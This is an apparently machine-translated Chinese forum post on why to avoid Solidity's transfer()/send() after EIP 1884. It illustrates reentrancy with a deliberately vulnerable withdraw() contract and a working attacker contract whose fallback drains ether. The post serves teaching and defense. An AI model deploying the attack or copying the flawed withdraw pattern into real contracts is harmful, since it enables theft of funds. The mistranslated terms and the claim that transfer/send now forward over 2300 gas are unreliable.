避免使用 solidity 的 transfer()/send()?



我在2019/9年看到了一篇关于避免使用solidity的transfer()/send()的文章。以下是文章中的推理:

看起来EIP 1884正朝着伊斯坦布尔硬分叉的方向发展。这一变化增加了SLOAD运营的天然气成本,因此打破了一些现有的智能合约。

这些合同将破裂,因为它们的后备功能过去消耗的天然气不到2300,现在将消耗更多。为什么2300天然气意义重大?它是通过Solidity的transfer((或send((方法调用合约的回退函数时接收到的气体量。1

自推出以来,transfer((通常被安全社区推荐,因为它有助于防范可重入攻击。在天然气成本不会改变的假设下,这一指导是有道理的,但事实证明这一假设是不正确的。我们现在建议避免使用transfer((和send((。

remix中,有一条关于以下代码的警告消息:

(bool success, ) = recipient.call{value:_amount, gas: _gas}("");

警告:

Low level calls: Use of "call": should be avoided whenever possible. It can lead to unexpected behavior if return value is not handled properly. Please use Direct Calls via specifying the called contract's interface. more

我不是执行智能合约和安全方面的天然气成本专家。所以我发布这篇文章,并将感谢对它的想法和评论。

首先,了解Solidity中的回退功能很好:它没有名称,没有参数,没有返回值,并且可以定义为每个合约一个,但最重要的功能是,当在合约上调用不存在的函数时,例如对sendtransfercall.value()("")调用它。因此,如果您想将以太币直接发送到作为合同地址的地址,则将调用目标合同的回退函数。如果合约的回退函数没有标记为payable,那么如果合约接收到没有数据的纯以太,它将抛出异常。

现在让我们来看看的重入攻击

contract VulnerableContract {
mapping(address => uint) public balances;

function deposit() public payable {
require(msg.value > 1);
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount, "Not enough balance!");
msg.sender.call.value(_amount)("");
balances[msg.sender] -= _amount;
}

function getBalance() view public returns(uint) {
return address(this).balance;
}

fallback() payable external {}
}

VuinerableContract具有withdraw功能,该功能将Ether发送到主叫地址。现在,呼叫地址可能是一个恶意合约,例如:


contract MaliciousContract {
VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB);

function deposit() public payable {
vulnerableContract.deposit.value(msg.value)();
}

function withdraw() public {
vulnerableContract.withdraw(1 ether);
}

function getBalance() view public returns(uint) {
return address(this).balance;
}

fallback () payable external {
if(address(vulnerableContract).balance > 1 ether) {
vulnerableContract.withdraw(1 ether);
}
}
}

当恶意合约调用撤回函数时,在降低恶意合约的余额之前,它的回退函数会在它可以从易受攻击的合约中窃取更多的以太币时被调用。

因此,通过将回退功能使用的气体量限制在2300气体,我们可以防止这种攻击。这意味着我们不能再把复杂而昂贵的命令放在回退功能中了。

查看此以获取更多信息:https://swcregistry.io/docs/SWC-107

从Consensys的文章中,他们说使用.call((而不是.transfer((和.send((。唯一的论点是,这三者现在发送的天然气都超过了2300。从而使重新进入成为可能。

这就得出了另一个结论,即无论上述情况如何,使用检查-效果交互模式来防止再次进入攻击是很重要的。

相关内容